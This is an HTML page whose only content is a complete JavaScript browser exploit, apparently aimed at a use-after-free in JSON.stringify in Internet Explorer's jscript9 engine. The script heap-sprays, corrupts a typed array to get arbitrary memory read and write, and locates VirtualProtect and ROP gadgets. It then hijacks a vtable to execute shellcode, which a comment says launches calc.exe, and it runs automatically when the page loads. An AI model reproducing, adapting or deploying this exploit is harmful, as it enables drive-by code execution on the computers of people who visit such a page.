<html>
<body>
<script>
ARR_SIZE = 3248;
first_gadget_offsets = [150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476];
stackpivot_gadget_offsets = [122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542];
first_gadget = [0x89, 0x41, 0x0c, 0xc3];
stackpivot_gadget = [0x94, 0xc3];
gadget_offsets = {"stackpivot": 0, "g1": 0, "g2": 0};
function empty_replacer(a,b) {
return b;
}
function create_list(lst, depth) {
if (depth > 5)
{
return;
}
else
{
// Creates 19 objects in each nested list
for (i = 0; i <= 19; i++)
{
// Create random string with length 8
for (var val = "", c = 0; c <= 8; c++) {
rnd = Math.floor((Math.random() * 90) + 48);
l = String.fromCharCode(rnd);
val = val + l;
}
lst["a" + i] = val;
}
create_list(lst["a0"] = {}, depth + 1);
}
}
function create_triggering_json() {
var lst = {}
create_list(lst, 0);
return lst;
}
// Create vulnerable JSON
trig_json = create_triggering_json();
spray = new Array(4096);
buff = new ArrayBuffer(4);
size = 0;
// Heap Spray
var I = setInterval(function(){
for (i=0;i<400;i++,size++) {
spray[size] = new Array(15352);
for (j = 0; j< 85;j++) {
spray[size][j] = new Uint32Array(buff);
}
0 == i && (yb = spray[0][0]["length"], yb["toString"](16))
}
size >= (4096) && (clearInterval(I), uaf())
}, 100);
var arr = []
function uaf()
{
JSON.stringify(trig_json,empty_replacer);
var pattern = [311357464,311357472,311357464];
for (var b = 3248 * 2, c = 203; c < b; c++)
arr[c] = new ArrayBuffer(12);
for (c = 203; c < b; c++)
{
var data = new Uint32Array(arr[c],0);
a = 0;
for (var i = data["length"] / pattern["length"]; a < i; a++)
for (var d=0, e = pattern["length"]; d < e;d++)
data[a+d] = pattern[d];
}
CollectGarbage();
search_corrupted_array();
}
var damaged_array;
function search_corrupted_array()
{
for (i=0;i<4096;i++)
{
for (j = 0; j< 85;j++) {
if (spray[i][j].length != 1)
{
damaged_array = spray[i][j];
damaged_array[1] = 0x7fffffff; // Set array to include almost entire user-space
damaged_array[2] = 0x10000;
write_dword_to_addr(damaged_array, 0x128e0020, 0xDEC0DE * 2 | 1); // Mark the first element of one of the arrays, to find it later
for (k = 0; k < 4096; k++) { // find the marked array
if (spray[k][0] == 0xDEC0DE) {
break;
}
}
// now spray[k][0] is 0x128e0020
if (k == 4096) break;
spray[k][2] = new Array(1); // creates a native integer array, pointed by 0x128e0028
spray[k][2][0] = new ArrayBuffer(0xc); // turns the array to be JavascriptArray
arr_obj = read_dword_from_addr(damaged_array, 0x128e0028); // address of the new JavascriptArray object
jscript9_base_addr = read_dword_from_addr(damaged_array, arr_obj) & 0xffff0000; // read the first dword of the JavascriptArray object, which is the vftable pointer, null the lower word to get jscript9 base address
vp_addr = get_vp_addr(damaged_array, jscript9_base_addr); // virtual address of kernel32!VirtualProtectStub
if (vp_addr == 0) break;
arrbuf = new ArrayBuffer(0x5000); // this buffer will contain the ROP chain
spray[k][0] = new Uint32Array(arrbuf); // Uint32Array that is a view to the arraybuffer above, pointed by 0x128e0020
rc_buf_ui32_obj = read_dword_from_addr(damaged_array, 0x128e0020); // address of the Uint32Array object
rc_buf_ui32_data = read_dword_from_addr(damaged_array, rc_buf_ui32_obj + 0x20); // address of first element of Uint32Array above
var shellcode_caller = [0x53, 0x55, 0x56, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x5e, 0x5d, 0x5b, 0x8b, 0x63, 0x0c, 0xc2, 0x0c, 0x00, 0x90];
var shellcode = [96, 49, 210, 82, 104, 99, 97, 108, 99, 84, 89, 82, 81, 100, 139, 114, 48, 139, 118, 12, 139, 118, 12, 173, 139, 48, 139, 126, 24, 139, 95, 60, 139, 92, 31, 120, 139, 116, 31, 32, 1, 254, 139, 84, 31, 36, 15, 183, 44, 23, 66, 66, 173, 129, 60, 7, 87, 105, 110, 69, 117, 240, 139, 116, 31, 28, 1, 254, 3, 60, 174, 255, 215, 88, 88, 97, 195]; // open calc.exe shellcode
spray[k][1] = new Uint8Array(shellcode_caller.concat(shellcode)); // shellcode, pointed by 0x128e0024
sc_obj = read_dword_from_addr(damaged_array, 0x128e0024); // address of the Uint8Array object containing the shellcode
sc_data = read_dword_from_addr(damaged_array, sc_obj + 0x20); // address of the shellcode buffer itself
construct_gadget_dict(damaged_array, jscript9_base_addr);
// construct the ROP chain
spray[k][0][0] = jscript9_base_addr + gadget_offsets["g1"]; // mov dword ptr [ecx+0c], eax # ret
spray[k][0][1] = jscript9_base_addr + gadget_offsets["g2"]; // ret
spray[k][0][2] = vp_addr; // VirtualProtectStub pointer
spray[k][0][3] = sc_data; // shellcode address (return address to which we return after VirtualProtect)
spray[k][0][4] = sc_data; // lpAddress
spray[k][0][5] = spray[k][1].length; // dwSize
spray[k][0][6] = 0x40; // flNewProtect = PAGE_EXECUTE_READWRITE
spray[k][0][7] = rc_buf_ui32_data + 0x20; // lpflOldProtect
spray[k][0][0x90 / 4] = jscript9_base_addr + gadget_offsets["stackpivot"]; // stackpivot gadget in offset 0x90 from ROP chain top
write_dword_to_addr(damaged_array, arr_obj, rc_buf_ui32_data); // overwrite the JavascriptArray object's vftable pointer with the address of the ROP chain
spray[k][2][0] = 0; // set the first item of the overwritten JavascriptArray object, triggering the call to JavascriptArray::SetItem. since the vftable is now the ROP chain, and SetItem is in offset 0x90 in the original vftable, this will trigger the stackpivot gadget
}
}
}
}
function get_index_from_addr(addr) {
return Math.floor((addr - 0x10000) / 4);
}
function get_iat_offset(arr, js9_base) {
return 0x3e6000;
}
function get_pe_header_offset(arr, js9_base) {
var offset = read_dword_from_addr(arr, js9_base + 0x3c);
return offset;
}
function get_import_table_offset(arr, js9_base) {
var pe_header_offset = get_pe_header_offset(arr, js9_base);
var pe_header = js9_base + pe_header_offset;
var import_table_offset = read_dword_from_addr(arr, pe_header + 0x80);
return import_table_offset;
}
function get_import_table_size(arr, js9_base) {
var pe_header_offset = get_pe_header_offset(arr, js9_base);
var pe_header = js9_base + pe_header_offset;
var import_table_size = read_dword_from_addr(arr, pe_header + 0x84);
return import_table_size;
}
function get_vp_addr(arr, js9_base) {
var kernel32_entry = get_kernel32_entry(arr, js9_base);
var string_pointers_offset = read_dword_from_addr(arr, kernel32_entry - 0xc);
var function_pointers_offset = read_dword_from_addr(arr, kernel32_entry + 0x4);
var func_name = new String();
for (fptr = js9_base + function_pointers_offset, sptr = js9_base + string_pointers_offset; fptr != 0 && sptr != 0; fptr += 4, sptr += 4) {
func_name = read_string_from_addr(arr, js9_base + read_dword_from_addr(arr, sptr) +2);
if (func_name.indexOf("VirtualProtect") > -1) {
return read_dword_from_addr(arr, fptr);
}
}
return 0;
}
function get_kernel32_entry(arr, js9_base) {
var it_addr = js9_base + get_import_table_offset(arr, js9_base);
var it_size = get_import_table_size(arr, js9_base);
var s = new String();
for (var next_addr = it_addr + 0xc; next_addr < js9_base + it_addr + it_size; next_addr += 0x14) {
var it_entry = read_dword_from_addr(arr, next_addr);
if (it_entry != 0) {
s = read_string_from_addr(arr, js9_base + it_entry);
if (s.indexOf("KERNEL32") > -1 || s.indexOf("kernel32") > -1) {
return next_addr;
}
}
}
return 0;
}
function read_dword_from_addr(arr, addr) {
return arr[get_index_from_addr(addr)];
}
function read_byte_from_addr(arr, addr) {
var mod = addr % 4;
var ui32 = read_dword_from_addr(arr, addr);
return ((ui32 >> (mod * 8)) & 0x000000ff);
}
function read_string_from_addr(arr, addr) {
var s = new String();
var i = 0;
for (i = addr, c = "stub"; c != String.fromCharCode(0); i++) {
c = String.fromCharCode(read_byte_from_addr(arr, i));
s += c;
}
return s;
}
function write_dword_to_addr(arr, addr, data) {
arr[get_index_from_addr(addr)] = data;
}
function find_gadget_offset(arr, js9_base, offsets, gadget, gadget_key) {
var first_dword = 0x0, second_dword = 0x0, g = 0;
var gadget_candidate = [];
for (g = 0; g < offsets.length; g++) {
first_dword = read_dword_from_addr(arr, js9_base + offsets[g]);
second_dword = read_dword_from_addr(arr, js9_base + offsets[g] + 4);
gadget_candidate = convert_reverse_ui32_to_array(first_dword);
gadget_candidate = gadget_candidate.concat(convert_reverse_ui32_to_array(second_dword));
if (contains_gadget(gadget_candidate, gadget)) {
gadget_offsets[gadget_key] = offsets[g];
break;
}
}
}
function construct_gadget_dict(arr, js9_base) {
find_gadget_offset(arr, js9_base, first_gadget_offsets, first_gadget, "g1");
find_gadget_offset(arr, js9_base, stackpivot_gadget_offsets, stackpivot_gadget, "stackpivot");
if (gadget_offsets["stackpivot"] > 0) {
gadget_offsets["g2"] = gadget_offsets["stackpivot"] + 1;
}
}
function contains_gadget(arr, sub) {
var i = 0;
for (i = 0; i < sub.length; i++) {
if (arr.indexOf(sub[i]) == -1) return false;
}
return true;
}
function convert_reverse_ui32_to_array(ui32) {
var arr = [];
var i = 0;
var tmp = ui32;
for (i = 0; i < 4; i++, tmp = tmp >> 8) {
arr.push(tmp & 0x000000ff);
}
return arr;
}
</script>
</body>
</html>